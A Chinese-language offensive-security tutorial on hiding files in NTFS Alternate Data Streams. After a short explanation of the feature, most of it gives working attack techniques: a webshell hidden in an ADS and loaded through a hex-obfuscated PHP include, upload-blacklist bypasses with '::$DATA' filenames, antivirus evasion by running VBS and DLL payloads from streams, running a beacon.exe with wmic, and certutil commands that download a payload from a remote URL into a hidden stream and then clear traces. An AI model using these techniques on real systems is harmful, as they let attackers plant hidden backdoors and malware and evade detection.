ADS数据流实现隐藏文件
ADS:Alternate DataStreams,全称 NTFS 交换数据流,是 NTFS 磁盘格式的一个特性,在 NTFS 文件系统下,每个文件都可以存在多个数据流。简单来说,就是其他文件可以寄宿在某个文件身上。利用 ADS 数据流可以做很多有趣的事情
在NTFS分区创建ADS数据流文件有两种形式:
- 一是指定宿主文件;
- 二是创建单独的ADS文件。
创建的指令有两个:echo 和 type
- echo 用于常规字符
- type 用于将文件附加到某个文件
使用方法
1. 使用宿主文件
echo test > 1.txt:flag.txt
正常用 dir 是无法查看到的,可以使用 dir /r
C:\test>dir驱动器 C 中的卷没有标签。卷的序列号是 46BD-3363C:\test 的目录2025/07/22 03:53 <DIR> .
2025/07/22 03:53 <DIR> ..
2025/07/22 03:53 0 1.txt1 个文件 0 字节2 个目录 45,771,202,560 可用字节C:\test>dir /r驱动器 C 中的卷没有标签。卷的序列号是 46BD-3363C:\test 的目录2025/07/22 03:53 <DIR> .
2025/07/22 03:53 <DIR> ..
2025/07/22 03:53 0 1.txt9 1.txt:flag.txt:$DATA1 个文件 0 字节2 个目录 45,771,161,600 可用字节
文件内容可以使用命令
notepad 1.txt:flag.txt
此类文件可以通过直接删除宿主文件清除。
2. 单独的 ADS 数据流文件
这类可以通过以下命令来创建:
echo hide > :mo.txt
创建后该目录内是没有文件的,并且用当前目录下的命令行也无法查看,因为它是依赖于文件夹的ADS数据流文件
因此需要退到上一级目录去查看
cd ../
notepad test
webshell后门
由于 Windows 系统对 ADS 文件都没有执行权限,因此隐藏此类 webshell 需要用到文件包含来配合
首先创建一个被包含文件:index.php:mo.txt
在里面藏一个 phpinfo
echo ^<?php phpinfo();?^> > index.php:mo.txt
为了避免被查,给文件名进行 hex 编码,最后创建一个实现文件包含功能的 include.php
<?php
$a="696E6465782E7068"."703A6D6F2E747874";
$b="a";
include(PACK('H*',$$b))
?>
文件上传
当然这里也可以借助此数据流实现 Bypass 上传黑名单限制
当我们上传数据流文件时,形如 test.php::$DATA 、test.php:a.txt 这样的后缀, windows 系统就会需要创建一个对应的宿主文件 test.php ,同时假设我们需要上传的文件内容为:
<?php phpinfo();?>
根据上传文件名不同,会产生不同效果
test.php:a.jpg
效果:生成 test.php,文件内容为空
test.php::$DATA
效果:生成 test.php, 文件内容为 <?php phpinfo();?>
test.php::$INDEX_ALLOCATION
效果:生成 test.php 文件夹
test.php::$DATA\0.jpg
效果:生成 0.jpg,文件内容为 <?php phpinfo();?>
上传文件名为 Test.php::$INDEX_ALLOCATION 时会生成对应的文件夹,那么以理论上来说是可以用于突破 UDF 提权时无法创建文件夹的问题,但是我测试的时候并不可以,不知道是为什么,严重怀疑被参考文献骗了┭┮﹏┭┮
病毒免杀
windows的数据流文件都被禁止了执行权限,因此可以使用 wscript 来运行 vbs,在C盘的根目录使用命令:
type 1.vbs > :2.vbs
可以创建 C 盘存在的数据流文件 c::2.vbs,没有工具是无法清除的,而且也可以绕过部分安全厂商的查杀
这个 vbs 文件也是可以运行的
wscript c::2.vbs
dll 文件同理:
type test.dll > 1.txt:ms
regsvr32 1.txt:ms
清除方式:用winhex或者删除宿主文件或者借助相关工具如 IceSword 也可进行删除。
实战
通过文件上传执行
在 C:\WINDOWS\debug\WIA 的目录下(这个目录常被用于 Dropper(下发payload)或免杀执行)
上传文件到 ADS 数据流
$upload /tmp/beacon.exe \\.\c:\WINDOWS\debug\WIA\test:aa.exe
执行
$wmic process call create \\.\c:\WINDOWS\debug\WIA\test:aa.exe$execute -cH -f "\\\\.\\c:\\WINDOWS\\debug\\WIA\\test:aa.exe" (也可以使用msf来执行)
通过文件下载执行
利用 certutil 从 HTTP 下载一个文件并直接写入目标 ADS
$certutil -urlcache -split -f http://url/test.exe \\.\c:\WINDOWS\debug\WIA\test:aa.exe
删除certutil缓存
$certutil.exe -urlcache -split -f http://url/test.exe delete
进一步隐藏
如果想要 dir/s 里看不到 ADS,可以使用特殊的文件名称:
\\.\C:\test\COM1
\\.\C:\test\COM2
\\.\C:\test\COM3-8
\\.\C:\test\COM9
\\.\C:\test\nul
并且这些文件是不可以直接在UI界面删除的,要删除的话使用如下命令:
del \\.\C:\test\nul